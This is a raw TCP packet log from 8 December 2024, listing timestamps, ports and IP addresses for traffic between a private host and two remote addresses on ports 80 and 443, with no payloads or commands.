Dec 8, 2024 17:45:43.016932964 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.016976118 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.018033028 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.018049955 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.018218040 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.018233061 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.018285036 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.021579027 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.021598101 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.021688938 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.021707058 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.021761894 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.021830082 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.021888018 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.022016048 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.022058010 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.022994041 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.023010015 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.023056984 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.023067951 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.023118019 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.023118019 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.025798082 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.025815010 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.025872946 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.025883913 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.025958061 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.027293921 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.027391911 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.027403116 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.027687073 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.028501987 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.028517008 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.028621912 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.028633118 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.028676033 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.030719995 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.030734062 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.030817032 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.030832052 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.030883074 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.032377005 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.032433987 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.032490969 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.032541990 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.032603979 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.032618999 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.032702923 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.032712936 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.032771111 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.036583900 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.036602020 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.036662102 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.036673069 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.036714077 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.037549019 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.037563086 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.037600994 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.037623882 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.039051056 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.039067030 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.039151907 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.039160013 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.039197922 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.040010929 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.040030003 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.040075064 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.040087938 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.040102959 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.040141106 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.042850018 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.042870998 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.042912960 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.044652939 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.044668913 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.044723988 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.044729948 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.044781923 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.049428940 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.049443007 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.049463034 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.049483061 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.049485922 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.049515963 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.049539089 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.049545050 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.049572945 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.049583912 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.053459883 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.053478956 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.053567886 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.053574085 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.053606987 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.053611040 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.053627014 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.053705931 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.053713083 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.053751945 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.055028915 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.055042982 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.055102110 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.055130959 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.057002068 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.057019949 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.057120085 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.057126999 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.057172060 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.059855938 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.059870958 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.059925079 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.061500072 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.061525106 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.061600924 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.061613083 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.061646938 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.061685085 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.065133095 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.065150023 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.065198898 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.065220118 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.068571091 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.068589926 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.068641901 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.068653107 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.068706036 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.068706036 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.070173979 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.070189953 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.070261002 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.070261002 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.075480938 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.075546980 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.075623989 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.075683117 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.077534914 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.077549934 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.077631950 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.077645063 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.077734947 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.080800056 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.080919027 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.140294075 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.140433073 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.140465975 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.140521049 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.142496109 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.142545938 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.143582106 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.143642902 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.143697977 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.148288965 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.148411036 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.148483038 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.148535967 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.153181076 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.153239965 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.153263092 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.153347015 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.157805920 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.157913923 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.157917976 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.157999039 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.162245035 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.162337065 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.162357092 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.162477970 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.166445971 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.166527987 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.166686058 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.166850090 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.170476913 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.170576096 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.170578003 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.170689106 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.175662994 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.175756931 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.175784111 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.175820112 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.179610968 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.179658890 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.179702997 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.182966948 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.183022022 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.183067083 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.183082104 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.183093071 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.183095932 CET	443	49814	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.183125973 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.183135986 CET	49814	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.183182001 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.183310032 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.183310032 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.186053991 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.186289072 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.186358929 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.189665079 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.189754009 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.189788103 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.189896107 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.193392038 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.193450928 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.193473101 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.193521976 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.195209026 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.195271015 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.195297003 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.195308924 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.195364952 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.195364952 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.197063923 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.197154999 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.197246075 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.200690985 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.200711012 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.200865984 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.203085899 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.203190088 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.203268051 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.203330994 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.203830957 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.203845978 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.203977108 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.203984022 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.204052925 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.205516100 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.205585957 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.205621958 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.205667019 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.207256079 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.207328081 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.207355976 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.207509041 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.208988905 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.209045887 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.209086895 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.209132910 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.210886955 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.210901976 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.210932016 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.210973978 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.210980892 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.211002111 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.211004019 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.211039066 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.211180925 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.212965012 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.213082075 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.213191986 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.213887930 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.213915110 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.213988066 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.213994980 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.214015007 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.215059042 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.215071917 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.215121984 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.215121984 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.215141058 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.217123985 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.217179060 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.217199087 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.217322111 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.217680931 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.217696905 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.217823982 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.217832088 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.217878103 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.219257116 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.219331026 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.219361067 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.219412088 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.221244097 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.221303940 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.221437931 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.221990108 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.222007990 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.223345041 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.223457098 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.224028111 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.224028111 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.224037886 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.224267960 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.225500107 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.225519896 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.225586891 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.225586891 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.225750923 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.225769997 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.225830078 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.225836992 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.226039886 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.227540970 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.227621078 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.227674007 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.227674007 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.229017973 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.229032993 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.229089975 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.229095936 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.229130983 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.229130983 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.229633093 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.229645014 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.229705095 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.229705095 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.230717897 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.230752945 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.230794907 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.230801105 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.230813980 CET	443	49813	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.230840921 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.230840921 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.230891943 CET	49813	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.231738091 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.231821060 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.231822968 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.232003927 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.236974001 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.237010956 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.237066984 CET	443	49815	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:43.237083912 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.237107038 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.237157106 CET	49815	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:43.333739996 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.333905935 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.333914042 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.334063053 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.334813118 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.335015059 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.335059881 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.335143089 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.335223913 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.337280035 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.337424040 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.337426901 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.337696075 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.339662075 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.339730978 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:43.339756012 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:43.339783907 CET	49805	80	192.168.2.6	185.215.113.206
